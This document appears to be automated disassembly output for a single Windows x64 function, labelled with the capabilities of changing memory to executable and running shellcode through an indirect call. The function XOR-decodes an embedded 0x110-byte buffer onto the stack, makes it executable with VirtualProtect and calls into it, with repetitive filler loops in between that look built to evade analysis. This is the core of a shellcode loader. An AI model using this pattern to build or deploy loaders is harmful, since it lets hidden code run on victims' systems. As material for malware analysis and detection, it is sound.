Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov edi, 0xc8
mov ebx, edi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400010a0
xor r11d, r11d
lea rbx, [0x140000000]
mov edx, r11d
mov r10d, 8
lea ecx, [r10 - 8]
mov eax, ecx
test ecx, ecx
jns 0x1400010d2
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x14000110b
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3270]
mov byte [rsp + r8 + 0x30], al
inc r8
lea rax, [rdx + r8]
cmp rax, 4
jl 0x1400010e3
lea ecx, [r10 - 4]
mov eax, ecx
test ecx, ecx
jns 0x140001118
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x140001158
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3274]
mov byte [rsp + r8 + 0x34], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001130
mov eax, r10d
test r10d, r10d
jns 0x140001164
lea eax, [r10 + 3]
sar eax, 2
mov r8d, r10d
cdqe
mov rcx, r11
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax + rax]
cmp r8d, 0x110
jge 0x1400011a8
movzx eax, r9b
inc r8d
xor al, byte [rcx + rbx + 0x3278]
mov byte [rsp + rcx + 0x38], al
inc rcx
lea rax, [rcx + rdx]
cmp rax, 4
jl 0x140001180
lea ecx, [r10 + 4]
mov eax, ecx
test ecx, ecx
jns 0x1400011b5
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x1400011ee
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x327c]
mov byte [rsp + r8 + 0x3c], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x1400011c6
lea ecx, [r10 + 8]
mov eax, ecx
test ecx, ecx
jns 0x1400011fb
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x140001238
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3280]
mov byte [rsp + r8 + 0x40], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001210
lea ecx, [r10 + 0xc]
mov eax, ecx
test ecx, ecx
jns 0x140001245
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x14000127e
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3284]
mov byte [rsp + r8 + 0x44], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001256
lea ecx, [r10 + 0x10]
mov eax, ecx
test ecx, ecx
jns 0x14000128b
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x1400012c8
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3288]
mov byte [rsp + r8 + 0x48], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x1400012a0
lea ecx, [r10 + 0x14]
mov eax, ecx
test ecx, ecx
jns 0x1400012d5
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x14000130e
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x328c]
mov byte [rsp + r8 + 0x4c], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x1400012e6
lea ecx, [r10 + 0x18]
mov eax, ecx
test ecx, ecx
jns 0x14000131b
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x140001358
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3290]
mov byte [rsp + r8 + 0x50], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001330
lea ecx, [r10 + 0x1c]
mov eax, ecx
test ecx, ecx
jns 0x140001365
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x14000139e
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3294]
mov byte [rsp + r8 + 0x54], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001376
lea ecx, [r10 + 0x20]
mov eax, ecx
test ecx, ecx
jns 0x1400013ab
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x1400013e8
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x3298]
mov byte [rsp + r8 + 0x58], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x1400013c0
lea ecx, [r10 + 0x24]
mov eax, ecx
test ecx, ecx
jns 0x1400013f5
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x14000142e
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x329c]
mov byte [rsp + r8 + 0x5c], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001406
lea ecx, [r10 + 0x28]
mov eax, ecx
test ecx, ecx
jns 0x14000143b
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x140001478
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x32a0]
mov byte [rsp + r8 + 0x60], al
inc r8
lea rax, [r8 + rdx]
cmp rax, 4
jl 0x140001450
lea ecx, [r10 + 0x2c]
mov eax, ecx
test ecx, ecx
jns 0x140001485
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x1400014be
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x32a4]
mov byte [rsp + r8 + 0x64], al
inc r8
lea rax, [rdx + r8]
cmp rax, 4
jl 0x140001496
lea ecx, [r10 + 0x30]
mov eax, ecx
test ecx, ecx
jns 0x1400014cb
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x140001508
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x32a8]
mov byte [rsp + r8 + 0x68], al
inc r8
lea rax, [rdx + r8]
cmp rax, 4
jl 0x1400014e0
lea ecx, [r10 + 0x34]
mov eax, ecx
test ecx, ecx
jns 0x140001515
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
cmp ecx, 0x110
jge 0x14000154e
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x32ac]
mov byte [rsp + r8 + 0x6c], al
inc r8
lea rax, [rdx + r8]
cmp rax, 4
jl 0x140001526
lea ecx, [r10 + 0x38]
mov eax, ecx
test ecx, ecx
jns 0x14000155b
lea eax, [rcx + 3]
sar eax, 2
mov r8, r11
cdqe
movzx r9d, byte [rax + rbx + 0x3380]
nop dword [rax]
cmp ecx, 0x110
jge 0x140001598
movzx eax, r9b
inc ecx
xor al, byte [r8 + rbx + 0x32b0]
mov byte [rsp + r8 + 0x70], al
inc r8
lea rax, [rdx + r8]
cmp rax, 4
jl 0x140001570
add r10d, 0x44
add r11, 0x44
sub rdx, 0x44
lea eax, [r10 - 8]
cmp eax, 0x110
jl 0x1400010c5
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400015c0
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400015e0
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001600
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001620
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001640
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001660
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001680
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400016a0
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400016c0
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400016e0
lea r9, [rsp + 0x20]
mov edx, 0x110
mov r8d, 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, rdi
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001710
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001730
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001750
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001770
lea rax, [rsp + 0x30]
call rax
mov rbx, rdi
nop dword [rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x140001790
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400017b0
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400017d0
mov rbx, rdi
nop word [rax + rax]
lea rcx, str.1231
call fcn.140001010
sub rbx, 1
jne 0x1400017f0
lea rcx, str.1231
call fcn.140001010
sub rdi, 1
jne 0x140001802
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001850
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret